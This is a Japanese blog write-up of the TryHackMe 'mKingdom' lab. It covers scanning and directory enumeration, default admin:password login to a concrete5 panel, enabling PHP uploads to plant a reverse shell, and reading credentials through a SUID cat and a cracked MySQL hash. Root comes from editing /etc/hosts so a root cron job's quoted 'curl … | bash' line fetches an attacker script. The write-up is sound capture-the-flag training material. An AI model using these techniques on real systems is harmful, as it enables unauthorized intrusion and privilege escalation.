前書き
本記事は、TryHackMeのRoom mKingdomのwriteupです。
投稿時点で最新のRoomで難易度はEasyですが、Linuxの権限に関して改めて学びになりました。
投稿時点で最新の為、「もしかしたらほかにも方法があるのか...」と思っています。
もし他の方法や気づけていない洞察があるなら勉強したいと思っています。
偵察
まずはポートスキャンから行います。
85/tcpが開いていることが分かります。
rustscan -a $TARGET
PORT STATE SERVICE REASON
85/tcp open mit-ml-dev syn-ack
サービスの詳細を知る為にnmapによる詳細なスキャンも行います。
nmap -sV -sC $TARGET -p 85
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
MAC Address: 02:DF:D6:47:3A:B9 (Unknown)
初期侵入まで
ポートスキャンの結果から、稼働しているサービスはwebサーバ的なものだと推測できます。Apache httpd 2.4.7に関して軽く調査しましたが、何か使えそうな脆弱性は存在しなさそうだったのでwebサイト(hxxp[://]mkingdom[.]thm:85/) にアクセスして詳細を見ていきます。
サイトにはボタンなどがなく、ソースコードを確認しましたが、特に興味深いものはありませんでした。
そこでgobusterでディレクトリ探索を行います。
gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/app (Status: 301)
/appが見つかりましたのでアクセスしてみます。
すると、ボタンが一つだけのページに飛びますのでボタンをクリックしました。
ソースコードからも分かりますが、ボタンで/app/castle/
に飛ぶようになっていました。
ここで時間をかけて再度ディレクトリの列挙を試したり、BlogやContactページにアクセスしました。
CMSとしてconcrete5
というものを使用していそうなことが分かり、いくつかの既知の脆弱性はあるものの、私が見た限り、初期侵入につながりそうなものはありませんでした。
少し調査を継続すると、画面下部のボタンかログインページへアクセスできることを発見しました。
一度試しで、admin:password
といういかにも脆弱な認証情報でログインを試すとなんとアクセスできてしまいました。
(たまたま一発目で当たったのか、またはなんでも通るような設計にしていたのか...)
とにかく管理者ページに入れました。
少し調査すると、Files
からファイルがアップロードできそうだったのでphpリバースシェルを試しましたが、拡張子の制限があってうまくいきません。ほかの機能もみていくと、System & Settings>>Allowed File Types
から受け入れる拡張子が設定できることが分かります。ここにphp
を追加し、再度phpのリバースシェルをアップロードすると見事うまくいきました!
権限昇格①
初期侵入が完了したのでここからはフラグの取得と権限昇格を目指します。
ここからは大きく2通りのルートがあると思います。
(①の方が少しショートカットできる程度ですが...)
① catを使用してダイレクトにmario
現状は、www-data
としてリバースシェルが取得できています。
SUIDが設定されているファイルを確認すると、toad
というユーザが所有者のcat
にSUIDが設定されていることが分かります。
調査した限り、SUIDが設定されているcat
からすぐさま権限昇格につながるわけではなさそうです(sshの秘密鍵を覗かれてしまう可能性などは考えられますが...) 。ただし、/home/toad
ディレクトリにはアクセスできませんが、ホームディレクトリ配下に一般的に存在するファイルを指定して閲覧することは可能です。
そこで/home/toad/.bashrc
を閲覧すると、export PWD_token='_REDACTED_'
という環境変数が見つかります。base64
でエンコードされていそうなのでデコードすると、_REDACTED_
が得られます。
現状ユーザは、toad
とmario
が存在しますので、上記の文字列がパスワードかどうか試します。
su toad
ではうまくいきませんが、su mario
だとうまくいきます。
② mysqlで一旦toadを経由する方法
linpeas
などを利用して権限昇格への手がかりを探ると、mysql
にrootとしてパスワードなしで接続可能なことが分かります。mysql内を捜索すると、toad
のパスワードハッシュ*67D97D25E90A4914F673B30_REDACTED_
が得られます。johntheripper
などのツールでオフラインクラックするとtoad
の認証情報が得られます。toad
は大きな権限を与えられていませんが、環境変数や①のように.bashrc
ファイルを確認することでmario
の認証情報が得られます。
権限昇格②
marioのホームディレクトリ下に最初のフラグがあります。
※最初のフラグは読み取り権限はあるはずですがcat
を使用すると「権限がない」と言われます。方法はいろいろありますが、例えばhead
を使用すると見れます。なぜそうなるかは最後に深堀します。
thm{030a76_REDACTED_}
mario
は、sudo権限でid
バイナリが実行できます。ここから何かできるのか暫く調べましたが有益な情報が得られませんでした。(環境変数のPATHを書き換えるなどを考えましたが、絶対パス指定なので恐らく無理かな...)
行き詰ったため、あらためて権限昇格につながりそうなものを調査しました。pspy
を使用すると興味深いプロセスを発見しました。
2024/06/15 04:59:01 CMD: UID=0 PID=2652 | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/15 05:00:01 CMD: UID=0 PID=2662 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
mkingdom.thm:85/app/castle/application/counter.sh
を取得し、実行し、その出力を/var/log/up.log
に書き込んでいるようです。UID=0
の為、root
として実行されていることも分かります。
実行されるシェルスクリプトを書き換える、あるいは"誤認"させることで権限昇格することを考えます。counter.sh
を確認しましたが、書き込み権限がなく書き換えることは難しそうです。しかし、/etc/hosts
ファイルに書き込み権限がありましたので、mkingdom.thm
に対応するIPアドレスを攻撃者のものに書き換える方法を試しました。攻撃者マシン側でポート85番で/app/castle/application/counter.sh
を用意します。counter.sh
にはリバースシェルを実行させるためのスクリプトを書き込み、、リバースシェルをリッスン。しばらくすると、リバースシェルが確立され、root
権限をとることができます。
thm{e8b2f52d8_REDACTED_}
深堀
ログインがあっさりできた原因
何故あっさりログインできたのか分からなかったため、疑問を解消するためターゲット内のソースコードを漁ってみましたが処理の部分は面倒くさそうだったので断念しました。
(mysqlにハッシュ処理されたadmin
のパスワードがあり、クラックするとpassword
になっていたのでおそらくここを参照してログイン処理していそうです。Easyということもあるので脆弱な設定になっていて今回は偶然一発目でパスワードを当ててしまったのかな?...)
catでuser.txtが閲覧できない原因
ファイル自体の権限は下記のように読み取り権限が設定されています。本来ならcat
で閲覧できるはずです。
ls -l user.txt
-rw-r--r-- 1 root root 38 Nov 27 2023 user.txt
しかし、下記のように読み取りできません...
cat user.txt
cat: user.txt: Permission denied
原因はおそらくcat
の権限だと思います。
cat
の所有者はtoad
であり、SUID
が設定されています。
ls -l /bin/cat
-rwsr-xr-x 1 toad root 47904 Mar 10 2016 /bin/cat
そしてmarioのホームディレクトリに対するアクセス権がtoad
にはありません。
ls -ld ~
drwx------ 15 mario mario 4096 Jun 15 21:14 /home/mario
したがって、
SUIDによりcatがtoadとして実行される
➡toadは/home/mario/に対する権限がない
➡/home/mario下のuser.txtが見れない
という理屈になると思われます。
それを踏まえて考えられる解決方法は、
・SUIDが設定されていないheadなどで見る
・user.txtを/tmp/にコピーしてcatで見る
・catを複製して、複製したcatでuser.txtを見る
などなど色々な方法があると思います。